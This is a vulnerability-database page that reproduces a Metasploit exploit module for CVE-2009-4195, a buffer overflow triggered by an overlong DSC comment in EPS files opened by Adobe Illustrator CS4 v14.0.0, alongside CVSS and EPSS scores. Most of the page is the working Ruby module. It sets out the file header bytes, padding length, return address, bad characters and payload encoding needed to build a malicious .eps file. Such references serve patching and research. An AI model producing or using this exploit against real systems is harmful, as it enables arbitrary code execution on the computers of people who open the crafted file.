Lucene search

K
metasploitPyrokinesis, dookieMSF:EXPLOIT-WINDOWS-FILEFORMAT-ADOBE_ILLUSTRATOR_V14_EPS-
HistoryDec 07, 2009 - 8:24 p.m.

Adobe Illustrator CS4 v14.0.0

2009-12-0720:24:12
pyrokinesis, dookie
www.rapid7.com
6

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

AI Score

7.4

Confidence

Low

EPSS

0.972

Percentile

99.9%

Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps) overlong DSC Comment Buffer Overflow Exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Adobe Illustrator CS4 v14.0.0',
      'Description'    => %q{
          Adobe Illustrator CS4 (V14.0.0) Encapsulated Postscript (.eps)
        overlong DSC Comment Buffer Overflow Exploit
      },
      'License'        => MSF_LICENSE,
      'Author'         => [
          'pyrokinesis', # Of Nine:Situations:Group
          'dookie'
        ],
      'References'     =>
        [
          [ 'CVE', '2009-4195' ],
          [ 'BID', '37192' ],
          [ 'OSVDB', '60632' ],
          [ 'EDB', '10281' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'DisablePayloadHandler' => true,
          'AllowWin32SEH' => true
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x0D\x0C\x0A",
          'EncoderType' => Msf::Encoder::Type::AlphanumUpper,
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x4B4B5173 } ], # CALL ESI in icudt36.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => '2009-12-03',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME',   [ false, 'The file name.',  'msf.eps']),
      ])
  end

  def exploit

    header = "\xc5\xd0\xd3\xc6\x20\x00\x00\x00\x05\xc8\x04\x00\x00\x00"
    header << "\x00\x00\x00\x00\x00\x00%\xc8\x04\x00\xb5I\x01\x00\xff"
    header << "\xff\x00\x00"
    header << "%!PS-Adobe-3.1\x20EPSF-3.0\r\n"
    header << "%ADO_DSC_Encoding:\x20Windows\x20Roman\r\n"
    header << "%"
    sploit = rand_text_alpha(41699)
    sploit << [target.ret].pack('V')
    sploit << rand_text_alpha(2291)
    sploit << "%Title:\x20Untitled-1.eps\r\n"
    sploit << "%AAAAAAAA"
    sploit << payload.encoded
    trailer = ": A\r\n"
    trailer << "%%For:\x20alias\r\n"
    trailer << "%%CreationDate:\x2011/27/2009\r\n"
    trailer += "%%BoundingBox:\x200\x200\x20227\x20171\r\n"
    trailer += "%%HiResBoundingBox:\x200\x200\x20226.5044\x20170.3165\r\n"
    trailer += "%%CropBox:\x200\x200\x20226.5044\x20170.3165\r\n"
    trailer += "%%LanguageLevel:\x202\r\n"
    trailer += "%%DocumentData:\x20Clean7Bit\r\n"
    trailer += "%ADOBeginClientInjection:\x20DocumentHeader\x20\"AI11EPS\"\r\n"
    trailer += "%%AI8_CreatorVersion:\x2014.0.0\r"
    trailer += "%AI9_PrintingDataBegin\r"
    trailer += "%ADO_BuildNumber:\x20Adobe\x20Illustrator(R)\x2014.0.0\x20x367\x20R\x20agm\x204.4890\x20ct\x205.1541\r"
    trailer += "%ADO_ContainsXMP:\x20MainFirst\r"
    trailer += "%AI7_Thumbnail:\x20128\x2096\x208\r"
    trailer += "%%BeginData:\x204096\x20Hex\x20Bytes\r"
    trailer += "%0000330000660000990000CC0033000033330033660033990033CC0033FF\r\n"

    eps = header + sploit + trailer

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(eps)

  end
end

CVSS2

9.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:M/Au:N/C:C/I:C/A:C

AI Score

7.4

Confidence

Low

EPSS

0.972

Percentile

99.9%

Related for MSF:EXPLOIT-WINDOWS-FILEFORMAT-ADOBE_ILLUSTRATOR_V14_EPS-